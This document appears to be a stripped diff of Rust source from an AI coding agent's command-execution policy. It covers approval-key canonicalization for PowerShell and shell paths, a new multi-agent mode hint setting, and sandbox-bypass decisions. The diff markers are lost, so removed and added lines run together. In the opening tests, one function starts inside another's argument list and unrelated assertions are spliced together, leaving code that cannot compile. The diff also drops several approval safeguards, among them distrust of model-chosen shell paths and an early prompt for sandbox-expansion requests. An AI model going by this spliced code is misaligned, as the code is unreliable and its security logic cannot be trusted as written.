"C:/workspace/powershell.exe",
|
||||
"-Command",
|
||||
"Write-Host changed",
|
||||
),
|
||||
powershell("C:/workspace/powershell.exe.", "-Command", "Write-Host hi"),
|
||||
powershell("C:/workspace/powershell.exe ", "-Command", "Write-Host hi"),
|
||||
powershell(
|
||||
r"\\?\C:\workspace\powershell.exe.",
|
||||
"-Command",
|
||||
"Write-Host hi",
|
||||
),
|
||||
powershell(
|
||||
r"\\.\UNC\server\share\powershell.exe ",
|
||||
"-Command",
|
||||
"Write-Host hi",
|
||||
),
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
canonicalize_command_for_approval(&command_a),
|
||||
vec![
|
||||
"__codex_powershell_script__".to_string(),
|
||||
"powershell.exe".to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
]
|
||||
);
|
||||
assert_ne!(
|
||||
canonicalize_command_for_approval(&command_a),
|
||||
canonicalize_command_for_approval(&command_b)
|
||||
);
|
||||
let mut commands = vec![base];
|
||||
commands.extend(variants);
|
||||
let keys: HashSet<_> = commands
|
||||
.iter()
|
||||
.map(|command| canonicalize_command_for_approval(command))
|
||||
.collect();
|
||||
|
||||
assert_eq!(keys.len(), commands.len());
|
||||
for command in commands {
|
||||
assert_eq!(canonicalize_command_for_approval(&command), command);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn keeps_powershell_profile_flags_in_approval_keys() {
|
||||
let script = "Get-ChildItem";
|
||||
let no_profile = vec![
|
||||
"powershell.exe".to_string(),
|
||||
"-NoProfile".to_string(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
];
|
||||
let with_profile = vec![
|
||||
fn powershell_identity_does_not_collide_with_raw_marker_argv() {
|
||||
let powershell = vec![
|
||||
"powershell.exe".to_string(),
|
||||
"-Command".to_string(),
|
||||
script.to_string(),
|
||||
"Write-Host hi".to_string(),
|
||||
];
|
||||
let mut marker_argv = vec!["__codex_powershell_script__".to_string()];
|
||||
marker_argv.extend(powershell.iter().cloned());
|
||||
|
||||
assert_eq!(canonicalize_command_for_approval(&powershell), powershell);
|
||||
assert_eq!(canonicalize_command_for_approval(&marker_argv), marker_argv);
|
||||
assert_ne!(
|
||||
canonicalize_command_for_approval(&no_profile),
|
||||
canonicalize_command_for_approval(&with_profile)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn keeps_relative_and_absolute_fake_shells_in_distinct_approval_keys() {
|
||||
let relative = vec!["./zsh".to_string(), "-c".to_string(), "ls".to_string()];
|
||||
let absolute = vec![
|
||||
"/tmp/workspace/zsh".to_string(),
|
||||
"-c".to_string(),
|
||||
"ls".to_string(),
|
||||
];
|
||||
|
||||
assert_eq!(
|
||||
canonicalize_command_for_approval(&relative),
|
||||
vec!["./zsh", "-c", "ls"]
|
||||
);
|
||||
assert_eq!(
|
||||
canonicalize_command_for_approval(&absolute),
|
||||
vec!["/tmp/workspace/zsh", "-c", "ls"]
|
||||
);
|
||||
assert_ne!(
|
||||
canonicalize_command_for_approval(&relative),
|
||||
canonicalize_command_for_approval(&absolute)
|
||||
canonicalize_command_for_approval(&powershell),
|
||||
canonicalize_command_for_approval(&marker_argv)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -10307,6 +10307,7 @@ default_wait_timeout_ms = 30000
|
||||
usage_hint_text = "Custom delegation guidance."
|
||||
root_agent_usage_hint_text = "Root guidance."
|
||||
subagent_usage_hint_text = "Subagent guidance."
|
||||
multi_agent_mode_hint_text = "Custom mode guidance."
|
||||
tool_namespace = "agents"
|
||||
hide_spawn_agent_metadata = true
|
||||
non_code_mode_only = true
|
||||
@@ -10343,6 +10344,10 @@ non_code_mode_only = true
|
||||
config.multi_agent_v2.subagent_usage_hint_text.as_deref(),
|
||||
Some("Subagent guidance.")
|
||||
);
|
||||
assert_eq!(
|
||||
config.multi_agent_v2.multi_agent_mode_hint_text.as_deref(),
|
||||
Some("Custom mode guidance.")
|
||||
);
|
||||
assert_eq!(
|
||||
config.multi_agent_v2.tool_namespace.as_deref(),
|
||||
Some("agents")
|
||||
@@ -10405,6 +10410,22 @@ max_concurrent_threads_per_session = 17
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn multi_agent_v2_preserves_empty_mode_hint_override() {
|
||||
let config_toml = toml::from_str(
|
||||
r#"[features.multi_agent_v2]
|
||||
multi_agent_mode_hint_text = ""
|
||||
"#,
|
||||
)
|
||||
.expect("multi-agent v2 config should parse");
|
||||
|
||||
let expected = MultiAgentV2Config {
|
||||
multi_agent_mode_hint_text: Some(String::new()),
|
||||
..Default::default()
|
||||
};
|
||||
assert_eq!(resolve_multi_agent_v2_config(&config_toml), expected);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn multi_agent_v2_empty_usage_hint_overrides_clear_default_hints() -> std::io::Result<()> {
|
||||
let codex_home = TempDir::new()?;
|
||||
|
||||
@@ -1144,6 +1144,7 @@ pub struct MultiAgentV2Config {
|
||||
pub usage_hint_text: Option<String>,
|
||||
pub root_agent_usage_hint_text: Option<String>,
|
||||
pub subagent_usage_hint_text: Option<String>,
|
||||
pub multi_agent_mode_hint_text: Option<String>,
|
||||
pub tool_namespace: Option<String>,
|
||||
pub hide_spawn_agent_metadata: bool,
|
||||
pub non_code_mode_only: bool,
|
||||
@@ -1165,6 +1166,7 @@ impl MultiAgentV2Config {
|
||||
DEFAULT_MULTI_AGENT_V2_SUBAGENT_USAGE_HINT_TEXT,
|
||||
max_concurrent_threads_per_session,
|
||||
)),
|
||||
multi_agent_mode_hint_text: None,
|
||||
tool_namespace: Some(DEFAULT_MULTI_AGENT_V2_TOOL_NAMESPACE.to_string()),
|
||||
hide_spawn_agent_metadata: true,
|
||||
non_code_mode_only: true,
|
||||
@@ -2501,6 +2503,10 @@ fn resolve_multi_agent_v2_config(config_toml: &ConfigToml) -> MultiAgentV2Config
|
||||
base.map(|config| &config.subagent_usage_hint_text),
|
||||
default.subagent_usage_hint_text,
|
||||
);
|
||||
let multi_agent_mode_hint_text = base
|
||||
.and_then(|config| config.multi_agent_mode_hint_text.as_ref())
|
||||
.cloned()
|
||||
.or(default.multi_agent_mode_hint_text);
|
||||
let tool_namespace = base
|
||||
.and_then(|config| config.tool_namespace.as_ref())
|
||||
.cloned()
|
||||
@@ -2520,6 +2526,7 @@ fn resolve_multi_agent_v2_config(config_toml: &ConfigToml) -> MultiAgentV2Config
|
||||
usage_hint_text,
|
||||
root_agent_usage_hint_text,
|
||||
subagent_usage_hint_text,
|
||||
multi_agent_mode_hint_text,
|
||||
tool_namespace,
|
||||
hide_spawn_agent_metadata,
|
||||
non_code_mode_only,
|
||||
|
||||
@@ -4,7 +4,6 @@ use codex_protocol::protocol::MULTI_AGENT_MODE_CLOSE_TAG;
|
||||
use codex_protocol::protocol::MULTI_AGENT_MODE_OPEN_TAG;
|
||||
|
||||
const EXPLICIT_REQUEST_ONLY_MULTI_AGENT_MODE_TEXT: &str = "Do not spawn sub-agents unless the user or applicable AGENTS.md/skill instructions explicitly ask for sub-agents, delegation, or parallel agent work.";
|
||||
const NO_MULTI_AGENT_MODE_TEXT: &str = "Multi-agent delegation mode instructions are inactive. Any earlier multi-agent mode developer message no longer applies.";
|
||||
const PROACTIVE_MULTI_AGENT_MODE_TEXT: &str = "Proactive multi-agent delegation is active. Any earlier instruction requiring an explicit user request before spawning sub-agents no longer applies. Use sub-agents when parallel work would materially improve speed or quality. This mode remains active until a later multi-agent mode developer message changes it.";
|
||||
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
@@ -32,8 +31,8 @@ impl ContextualUserFragment for MultiAgentModeInstructions {
|
||||
}
|
||||
|
||||
fn body(&self) -> String {
|
||||
match self.multi_agent_mode {
|
||||
MultiAgentMode::None => NO_MULTI_AGENT_MODE_TEXT.to_string(),
|
||||
match &self.multi_agent_mode {
|
||||
MultiAgentMode::Custom(hint_text) => hint_text.clone(),
|
||||
MultiAgentMode::ExplicitRequestOnly => {
|
||||
EXPLICIT_REQUEST_ONLY_MULTI_AGENT_MODE_TEXT.to_string()
|
||||
}
|
||||
|
||||
@@ -85,9 +85,6 @@ fn build_multi_agent_mode_update_item(
|
||||
}
|
||||
|
||||
match effective_multi_agent_mode {
|
||||
Some(MultiAgentMode::None) => {
|
||||
Some(MultiAgentModeInstructions::new(MultiAgentMode::None).render())
|
||||
}
|
||||
Some(multi_agent_mode) => Some(MultiAgentModeInstructions::new(multi_agent_mode).render()),
|
||||
None if previous.multi_agent_mode == Some(MultiAgentMode::Proactive) => {
|
||||
Some(MultiAgentModeInstructions::new(MultiAgentMode::ExplicitRequestOnly).render())
|
||||
|
||||
+339
-140
@@ -35,13 +35,16 @@ use tracing::instrument;
|
||||
use crate::config::Config;
|
||||
use crate::sandboxing::SandboxPermissions;
|
||||
use crate::tools::sandboxing::ExecApprovalRequirement;
|
||||
use codex_shell_command::bash::extract_bash_command;
|
||||
use crate::tools::sandboxing::unsandboxed_execution_allowed;
|
||||
use codex_shell_command::bash::parse_shell_lc_plain_commands;
|
||||
use codex_shell_command::bash::parse_shell_lc_single_command_prefix;
|
||||
use codex_shell_command::powershell::extract_powershell_command;
|
||||
use codex_utils_absolute_path::AbsolutePathBuf;
|
||||
use shlex::try_join as shlex_try_join;
|
||||
|
||||
#[cfg(windows)]
|
||||
#[path = "exec_policy_powershell.rs"]
|
||||
mod powershell_policy;
|
||||
|
||||
const PROMPT_CONFLICT_REASON: &str =
|
||||
"approval required by policy, but AskForApproval is set to Never";
|
||||
const REJECT_SANDBOX_APPROVAL_REASON: &str =
|
||||
@@ -112,9 +115,6 @@ static BANNED_PREFIX_SUGGESTIONS: &[&[&str]] = &[
|
||||
pub(crate) enum ExecPolicyCommandOrigin {
|
||||
/// Use the generic unmatched-command heuristics.
|
||||
Generic,
|
||||
/// A shell executable path came from model-controlled command input. The
|
||||
/// inner argv cannot confer trust on the outer executable.
|
||||
PathQualifiedShell,
|
||||
#[cfg(windows)]
|
||||
/// The command words came from the `-Command` body of a top-level
|
||||
/// PowerShell wrapper, so use PowerShell-specific unmatched-command
|
||||
@@ -170,28 +170,49 @@ fn is_policy_match(rule_match: &RuleMatch) -> bool {
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
|
||||
struct PromptCauses {
|
||||
rules: bool,
|
||||
sandbox: bool,
|
||||
}
|
||||
|
||||
fn prompt_causes(matched_rules: &[RuleMatch]) -> PromptCauses {
|
||||
matched_rules
|
||||
.iter()
|
||||
.fold(PromptCauses::default(), |mut causes, rule_match| {
|
||||
match rule_match {
|
||||
RuleMatch::PrefixRuleMatch {
|
||||
decision: Decision::Prompt,
|
||||
..
|
||||
} => causes.rules = true,
|
||||
RuleMatch::HeuristicsRuleMatch {
|
||||
decision: Decision::Prompt,
|
||||
..
|
||||
} => causes.sandbox = true,
|
||||
RuleMatch::PrefixRuleMatch { .. } | RuleMatch::HeuristicsRuleMatch { .. } => {}
|
||||
}
|
||||
causes
|
||||
})
|
||||
}
|
||||
|
||||
/// Returns a rejection reason when `approval_policy` disallows surfacing the
|
||||
/// current prompt to the user.
|
||||
///
|
||||
/// `prompt_is_rule` distinguishes policy-rule prompts from sandbox/escalation
|
||||
/// prompts so granular `rules` and `sandbox_approval` settings are honored
|
||||
/// independently. When both are present, policy-rule prompts take precedence.
|
||||
pub(crate) fn prompt_is_rejected_by_policy(
|
||||
/// `causes` retains every represented policy-rule and sandbox/escalation
|
||||
/// category so granular settings are honored independently. When both are
|
||||
/// present and disabled, policy-rule prompts take precedence.
|
||||
fn prompt_is_rejected_by_policy(
|
||||
approval_policy: AskForApproval,
|
||||
prompt_is_rule: bool,
|
||||
causes: PromptCauses,
|
||||
) -> Option<&'static str> {
|
||||
match approval_policy {
|
||||
AskForApproval::Never => Some(PROMPT_CONFLICT_REASON),
|
||||
AskForApproval::OnRequest => None,
|
||||
AskForApproval::UnlessTrusted => None,
|
||||
AskForApproval::Granular(granular_config) => {
|
||||
if prompt_is_rule {
|
||||
if !granular_config.allows_rules_approval() {
|
||||
Some(REJECT_RULES_APPROVAL_REASON)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
} else if !granular_config.allows_sandbox_approval() {
|
||||
if causes.rules && !granular_config.allows_rules_approval() {
|
||||
Some(REJECT_RULES_APPROVAL_REASON)
|
||||
} else if causes.sandbox && !granular_config.allows_sandbox_approval() {
|
||||
Some(REJECT_SANDBOX_APPROVAL_REASON)
|
||||
} else {
|
||||
None
|
||||
@@ -241,16 +262,6 @@ pub(crate) struct ExecPolicyManager {
|
||||
update_lock: Semaphore,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug, Eq, PartialEq)]
|
||||
pub(crate) enum ExecPolicyInputSource {
|
||||
/// The wrapper was selected by Codex from the user's configured shell.
|
||||
Configured,
|
||||
/// The model selected a shell by an unqualified executable name.
|
||||
ModelSelectedBare,
|
||||
/// The model selected a path-qualified shell executable.
|
||||
ModelSelectedPath,
|
||||
}
|
||||
|
||||
pub(crate) struct ExecApprovalRequest<'a> {
|
||||
pub(crate) command: &'a [String],
|
||||
pub(crate) approval_policy: AskForApproval,
|
||||
@@ -258,7 +269,6 @@ pub(crate) struct ExecApprovalRequest<'a> {
|
||||
pub(crate) windows_sandbox_level: WindowsSandboxLevel,
|
||||
pub(crate) sandbox_permissions: SandboxPermissions,
|
||||
pub(crate) prefix_rule: Option<Vec<String>>,
|
||||
pub(crate) input_source: ExecPolicyInputSource,
|
||||
}
|
||||
|
||||
impl ExecPolicyManager {
|
||||
@@ -293,24 +303,58 @@ impl ExecPolicyManager {
|
||||
windows_sandbox_level,
|
||||
sandbox_permissions,
|
||||
prefix_rule,
|
||||
input_source,
|
||||
} = req;
|
||||
let exec_policy = self.current();
|
||||
#[cfg(windows)]
|
||||
let (parsed_powershell, powershell_outer_authority) =
|
||||
match powershell_policy::prepare(command) {
|
||||
Some(powershell_policy::PreparedPowerShell::Terminal(requirement)) => {
|
||||
return requirement;
|
||||
}
|
||||
Some(powershell_policy::PreparedPowerShell::Parsed(parsed)) => {
|
||||
if let Some(outer_argv) = parsed.untrusted_outer_argv() {
|
||||
return create_untrusted_powershell_approval_requirement(
|
||||
exec_policy.as_ref(),
|
||||
outer_argv,
|
||||
parsed.commands(),
|
||||
UnmatchedCommandContext {
|
||||
approval_policy,
|
||||
permission_profile: &permission_profile,
|
||||
windows_sandbox_level,
|
||||
sandbox_permissions,
|
||||
used_complex_parsing: false,
|
||||
command_origin: ExecPolicyCommandOrigin::PowerShell,
|
||||
},
|
||||
);
|
||||
}
|
||||
(Some(parsed), true)
|
||||
}
|
||||
Some(powershell_policy::PreparedPowerShell::Unsupported) => (None, true),
|
||||
None => (None, false),
|
||||
};
|
||||
#[cfg(windows)]
|
||||
let exec_policy_commands = if let Some(parsed) = parsed_powershell.as_ref() {
|
||||
ExecPolicyCommands {
|
||||
commands: parsed.commands().to_vec(),
|
||||
used_complex_parsing: false,
|
||||
command_origin: ExecPolicyCommandOrigin::PowerShell,
|
||||
}
|
||||
} else {
|
||||
commands_for_exec_policy(command)
|
||||
};
|
||||
#[cfg(not(windows))]
|
||||
let exec_policy_commands = commands_for_exec_policy(command);
|
||||
#[cfg(not(windows))]
|
||||
let powershell_outer_authority = false;
|
||||
let ExecPolicyCommands {
|
||||
commands,
|
||||
used_complex_parsing,
|
||||
command_origin,
|
||||
} = commands_for_exec_policy(command, input_source);
|
||||
let contains_path_qualified_shell = commands
|
||||
.iter()
|
||||
.any(|command| path_qualified_shell_wrapper(command));
|
||||
} = exec_policy_commands;
|
||||
// Keep heredoc prefix parsing for rule evaluation so existing
|
||||
// allow/prompt/forbidden rules still apply, but avoid auto-derived
|
||||
// amendments when only the heredoc fallback parser matched.
|
||||
let auto_amendment_allowed = !used_complex_parsing
|
||||
&& !contains_path_qualified_shell
|
||||
&& !sandbox_permissions.requests_sandbox_override()
|
||||
&& input_source == ExecPolicyInputSource::Configured;
|
||||
let auto_amendment_allowed = !used_complex_parsing;
|
||||
let exec_policy_fallback = |cmd: &[String]| {
|
||||
render_decision_for_unmatched_command(
|
||||
cmd,
|
||||
@@ -327,13 +371,78 @@ impl ExecPolicyManager {
|
||||
let match_options = MatchOptions {
|
||||
resolve_host_executables: true,
|
||||
};
|
||||
let evaluation = exec_policy.check_multiple_with_options(
|
||||
let parsed_powershell_outer = powershell_outer_authority.then_some(command);
|
||||
let mut evaluation = exec_policy.check_multiple_with_options(
|
||||
commands.iter(),
|
||||
&exec_policy_fallback,
|
||||
&match_options,
|
||||
);
|
||||
let outer_matches = parsed_powershell_outer
|
||||
.map(|outer| {
|
||||
exec_policy.matches_for_command_with_options(
|
||||
outer,
|
||||
/*heuristics_fallback*/ None,
|
||||
&match_options,
|
||||
)
|
||||
})
|
||||
.unwrap_or_default();
|
||||
let outer_allow = outer_matches.iter().any(|rule_match| {
|
||||
matches!(
|
||||
rule_match,
|
||||
RuleMatch::PrefixRuleMatch {
|
||||
decision: Decision::Allow,
|
||||
..
|
||||
}
|
||||
)
|
||||
});
|
||||
let exact_outer_allow = parsed_powershell_outer.is_some_and(|outer| {
|
||||
outer_matches.iter().any(|rule_match| {
|
||||
matches!(
|
||||
rule_match,
|
||||
RuleMatch::PrefixRuleMatch {
|
||||
matched_prefix,
|
||||
decision: Decision::Allow,
|
||||
..
|
||||
} if matched_prefix.len() == outer.len()
|
||||
)
|
||||
})
|
||||
});
|
||||
evaluation.matched_rules.extend(outer_matches);
|
||||
evaluation.decision = evaluation
|
||||
.matched_rules
|
||||
.iter()
|
||||
.filter(|rule_match| !outer_allow || is_policy_match(rule_match))
|
||||
.map(RuleMatch::decision)
|
||||
.max()
|
||||
.unwrap_or(Decision::Forbidden);
|
||||
|
||||
let requested_amendment = if auto_amendment_allowed {
|
||||
let permission_delta_requires_outer =
|
||||
permission_delta_requires_outer_authority(&permission_profile, sandbox_permissions);
|
||||
let parsed_powershell_needs_outer_approval = parsed_powershell_outer.is_some()
|
||||
&& !exact_outer_allow
|
||||
&& (permission_delta_requires_outer
|
||||
|| missing_managed_windows_sandbox_backend(
|
||||
&permission_profile,
|
||||
windows_sandbox_level,
|
||||
));
|
||||
if evaluation.decision != Decision::Forbidden && parsed_powershell_needs_outer_approval {
|
||||
evaluation
|
||||
.matched_rules
|
||||
.push(RuleMatch::HeuristicsRuleMatch {
|
||||
command: command.to_vec(),
|
||||
decision: Decision::Prompt,
|
||||
});
|
||||
evaluation.decision = evaluation
|
||||
.matched_rules
|
||||
.iter()
|
||||
.map(RuleMatch::decision)
|
||||
.max()
|
||||
.unwrap_or(Decision::Forbidden);
|
||||
}
|
||||
|
||||
let requested_amendment = if parsed_powershell_outer.is_some() {
|
||||
None
|
||||
} else if auto_amendment_allowed {
|
||||
derive_requested_execpolicy_amendment_from_prefix_rule(
|
||||
prefix_rule.as_ref(),
|
||||
&evaluation.matched_rules,
|
||||
@@ -351,43 +460,56 @@ impl ExecPolicyManager {
|
||||
reason: derive_forbidden_reason(command, &evaluation),
|
||||
},
|
||||
Decision::Prompt => {
|
||||
let prompt_is_rule = evaluation.matched_rules.iter().any(|rule_match| {
|
||||
is_policy_match(rule_match) && rule_match.decision() == Decision::Prompt
|
||||
});
|
||||
match prompt_is_rejected_by_policy(approval_policy, prompt_is_rule) {
|
||||
let causes = prompt_causes(&evaluation.matched_rules);
|
||||
match prompt_is_rejected_by_policy(approval_policy, causes) {
|
||||
Some(reason) => ExecApprovalRequirement::Forbidden {
|
||||
reason: reason.to_string(),
|
||||
},
|
||||
None => ExecApprovalRequirement::NeedsApproval {
|
||||
reason: derive_prompt_reason(command, &evaluation),
|
||||
proposed_execpolicy_amendment: requested_amendment.or_else(|| {
|
||||
if auto_amendment_allowed {
|
||||
try_derive_execpolicy_amendment_for_prompt_rules(
|
||||
&evaluation.matched_rules,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
match (
|
||||
parsed_powershell_outer,
|
||||
causes.rules,
|
||||
auto_amendment_allowed,
|
||||
) {
|
||||
(Some(outer), false, _) => {
|
||||
Some(ExecPolicyAmendment::new(outer.to_vec()))
|
||||
}
|
||||
(None, _, true) => {
|
||||
try_derive_execpolicy_amendment_for_prompt_rules(
|
||||
&evaluation.matched_rules,
|
||||
)
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}),
|
||||
},
|
||||
}
|
||||
}
|
||||
Decision::Allow => ExecApprovalRequirement::Skip {
|
||||
// Bypass sandbox only when every parsed command segment is
|
||||
// explicitly allowed by execpolicy.
|
||||
bypass_sandbox: commands.iter().all(|command| {
|
||||
exec_policy
|
||||
.matches_for_command_with_options(
|
||||
command,
|
||||
/*heuristics_fallback*/ None,
|
||||
&match_options,
|
||||
)
|
||||
.iter()
|
||||
.any(|rule_match| {
|
||||
is_policy_match(rule_match) && rule_match.decision() == Decision::Allow
|
||||
})
|
||||
}),
|
||||
proposed_execpolicy_amendment: if auto_amendment_allowed {
|
||||
// Lowered PowerShell command names do not bind runtime module, profile, or PATH
|
||||
// resolution. Only an exact full-wrapper Allow may authorize sandbox bypass.
|
||||
bypass_sandbox: if parsed_powershell_outer.is_some() {
|
||||
exact_outer_allow
|
||||
} else {
|
||||
commands.iter().all(|command| {
|
||||
exec_policy
|
||||
.matches_for_command_with_options(
|
||||
command,
|
||||
/*heuristics_fallback*/ None,
|
||||
&match_options,
|
||||
)
|
||||
.iter()
|
||||
.any(|rule_match| {
|
||||
is_policy_match(rule_match)
|
||||
&& rule_match.decision() == Decision::Allow
|
||||
})
|
||||
})
|
||||
},
|
||||
proposed_execpolicy_amendment: if let Some(outer) = parsed_powershell_outer {
|
||||
(!exact_outer_allow).then(|| ExecPolicyAmendment::new(outer.to_vec()))
|
||||
} else if auto_amendment_allowed {
|
||||
try_derive_execpolicy_amendment_for_allow_rules(&evaluation.matched_rules)
|
||||
} else {
|
||||
None
|
||||
@@ -493,6 +615,130 @@ impl ExecPolicyManager {
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn create_untrusted_powershell_approval_requirement(
|
||||
exec_policy: &Policy,
|
||||
outer_argv: &[String],
|
||||
commands: &[Vec<String>],
|
||||
context: UnmatchedCommandContext<'_>,
|
||||
) -> ExecApprovalRequirement {
|
||||
let match_options = MatchOptions {
|
||||
resolve_host_executables: true,
|
||||
};
|
||||
let inner_fallback =
|
||||
|command: &[String]| render_decision_for_unmatched_command(command, context);
|
||||
|
||||
let mut matched_rules = Vec::new();
|
||||
let mut every_inner_explicit_allow = !commands.is_empty();
|
||||
for command in commands {
|
||||
let inner_matches = exec_policy.matches_for_command_with_options(
|
||||
command,
|
||||
Some(&inner_fallback),
|
||||
&match_options,
|
||||
);
|
||||
every_inner_explicit_allow &= !command.is_empty()
|
||||
&& inner_matches.iter().any(|rule_match| {
|
||||
matches!(
|
||||
rule_match,
|
||||
RuleMatch::PrefixRuleMatch {
|
||||
decision: Decision::Allow,
|
||||
..
|
||||
}
|
||||
)
|
||||
});
|
||||
matched_rules.extend(inner_matches);
|
||||
}
|
||||
|
||||
let outer_fallback = |_command: &[String]| match context.approval_policy {
|
||||
AskForApproval::Never => Decision::Forbidden,
|
||||
AskForApproval::OnRequest | AskForApproval::UnlessTrusted | AskForApproval::Granular(_) => {
|
||||
Decision::Prompt
|
||||
}
|
||||
};
|
||||
matched_rules.extend(
|
||||
exec_policy
|
||||
.matches_for_command_with_restrictive_host_rules(outer_argv, Some(&outer_fallback)),
|
||||
);
|
||||
|
||||
let raw_match_options = MatchOptions {
|
||||
resolve_host_executables: false,
|
||||
};
|
||||
let raw_full_outer_allow = exec_policy
|
||||
.matches_for_command_with_options(
|
||||
outer_argv,
|
||||
/*heuristics_fallback*/ None,
|
||||
&raw_match_options,
|
||||
)
|
||||
.iter()
|
||||
.any(|rule_match| {
|
||||
matches!(
|
||||
rule_match,
|
||||
RuleMatch::PrefixRuleMatch {
|
||||
matched_prefix,
|
||||
decision: Decision::Allow,
|
||||
..
|
||||
} if matched_prefix.len() == outer_argv.len()
|
||||
)
|
||||
});
|
||||
let composed_full_authority = raw_full_outer_allow && every_inner_explicit_allow;
|
||||
|
||||
let mut evaluation = Evaluation {
|
||||
decision: matched_rules
|
||||
.iter()
|
||||
.map(RuleMatch::decision)
|
||||
.max()
|
||||
.unwrap_or(Decision::Forbidden),
|
||||
matched_rules,
|
||||
};
|
||||
let permission_or_backend_gate = permission_delta_requires_outer_authority(
|
||||
context.permission_profile,
|
||||
context.sandbox_permissions,
|
||||
) || missing_managed_windows_sandbox_backend(
|
||||
context.permission_profile,
|
||||
context.windows_sandbox_level,
|
||||
);
|
||||
if evaluation.decision != Decision::Forbidden
|
||||
&& permission_or_backend_gate
|
||||
&& !composed_full_authority
|
||||
{
|
||||
evaluation
|
||||
.matched_rules
|
||||
.push(RuleMatch::HeuristicsRuleMatch {
|
||||
command: outer_argv.to_vec(),
|
||||
decision: Decision::Prompt,
|
||||
});
|
||||
evaluation.decision = evaluation
|
||||
.matched_rules
|
||||
.iter()
|
||||
.map(RuleMatch::decision)
|
||||
.max()
|
||||
.unwrap_or(Decision::Forbidden);
|
||||
}
|
||||
|
||||
match evaluation.decision {
|
||||
Decision::Forbidden => ExecApprovalRequirement::Forbidden {
|
||||
reason: derive_forbidden_reason(outer_argv, &evaluation),
|
||||
},
|
||||
Decision::Prompt => {
|
||||
match prompt_is_rejected_by_policy(
|
||||
context.approval_policy,
|
||||
prompt_causes(&evaluation.matched_rules),
|
||||
) {
|
||||
Some(reason) => ExecApprovalRequirement::Forbidden {
|
||||
reason: reason.to_string(),
|
||||
},
|
||||
None => ExecApprovalRequirement::NeedsOneShotApproval {
|
||||
reason: derive_prompt_reason(outer_argv, &evaluation),
|
||||
},
|
||||
}
|
||||
}
|
||||
Decision::Allow => ExecApprovalRequirement::Skip {
|
||||
bypass_sandbox: composed_full_authority,
|
||||
proposed_execpolicy_amendment: None,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for ExecPolicyManager {
|
||||
fn default() -> Self {
|
||||
Self::new(Arc::new(Policy::empty()))
|
||||
@@ -660,27 +906,8 @@ pub(crate) fn render_decision_for_unmatched_command(
|
||||
command_origin,
|
||||
} = context;
|
||||
let file_system_sandbox_policy = permission_profile.file_system_sandbox_policy();
|
||||
|
||||
// A model request to expand beyond a restricted sandbox is an approval
|
||||
// boundary of its own. Known-safe classification only describes argv; it
|
||||
// must never turn that explicit expansion request into an implicit allow.
|
||||
if sandbox_permissions.requests_sandbox_override()
|
||||
&& matches!(
|
||||
file_system_sandbox_policy.kind,
|
||||
FileSystemSandboxKind::Restricted
|
||||
)
|
||||
{
|
||||
return match approval_policy {
|
||||
AskForApproval::Never => Decision::Forbidden,
|
||||
AskForApproval::OnRequest
|
||||
| AskForApproval::UnlessTrusted
|
||||
| AskForApproval::Granular(_) => Decision::Prompt,
|
||||
};
|
||||
}
|
||||
|
||||
let is_known_safe = match command_origin {
|
||||
ExecPolicyCommandOrigin::Generic => is_known_safe_command(command),
|
||||
ExecPolicyCommandOrigin::PathQualifiedShell => false,
|
||||
#[cfg(windows)]
|
||||
ExecPolicyCommandOrigin::PowerShell => {
|
||||
codex_shell_command::is_safe_command::is_safe_powershell_words(command)
|
||||
@@ -711,7 +938,6 @@ pub(crate) fn render_decision_for_unmatched_command(
|
||||
// forbid the command.
|
||||
let command_is_dangerous = match command_origin {
|
||||
ExecPolicyCommandOrigin::Generic => command_might_be_dangerous(command),
|
||||
ExecPolicyCommandOrigin::PathQualifiedShell => true,
|
||||
#[cfg(windows)]
|
||||
ExecPolicyCommandOrigin::PowerShell => {
|
||||
codex_shell_command::is_dangerous_command::is_dangerous_powershell_words(command)
|
||||
@@ -795,55 +1021,46 @@ fn profile_has_managed_filesystem_restrictions(permission_profile: &PermissionPr
|
||||
&& !file_system_sandbox_policy.has_full_disk_write_access()
|
||||
}
|
||||
|
||||
fn permission_delta_requires_outer_authority(
|
||||
permission_profile: &PermissionProfile,
|
||||
sandbox_permissions: SandboxPermissions,
|
||||
) -> bool {
|
||||
match (permission_profile, sandbox_permissions) {
|
||||
(PermissionProfile::Disabled, _) => false,
|
||||
(_, SandboxPermissions::WithAdditionalPermissions) => true,
|
||||
(PermissionProfile::External { .. }, SandboxPermissions::RequireEscalated) => true,
|
||||
(PermissionProfile::Managed { .. }, SandboxPermissions::RequireEscalated) => {
|
||||
unsandboxed_execution_allowed(&permission_profile.file_system_sandbox_policy())
|
||||
}
|
||||
(_, SandboxPermissions::UseDefault) => false,
|
||||
}
|
||||
}
|
||||
|
||||
fn missing_managed_windows_sandbox_backend(
|
||||
permission_profile: &PermissionProfile,
|
||||
windows_sandbox_level: WindowsSandboxLevel,
|
||||
) -> bool {
|
||||
cfg!(windows)
|
||||
&& windows_sandbox_level == WindowsSandboxLevel::Disabled
|
||||
&& profile_has_managed_filesystem_restrictions(permission_profile)
|
||||
}
|
||||
|
||||
fn default_policy_path(codex_home: &Path) -> PathBuf {
|
||||
codex_home.join(RULES_DIR_NAME).join(DEFAULT_POLICY_FILE)
|
||||
}
|
||||
|
||||
fn commands_for_exec_policy(
|
||||
command: &[String],
|
||||
input_source: ExecPolicyInputSource,
|
||||
) -> ExecPolicyCommands {
|
||||
let parse_shell_wrapper = input_source != ExecPolicyInputSource::ModelSelectedPath;
|
||||
|
||||
if parse_shell_wrapper
|
||||
&& let Some(commands) = parse_shell_lc_plain_commands(command)
|
||||
fn commands_for_exec_policy(command: &[String]) -> ExecPolicyCommands {
|
||||
if let Some(commands) = parse_shell_lc_plain_commands(command)
|
||||
&& !commands.is_empty()
|
||||
{
|
||||
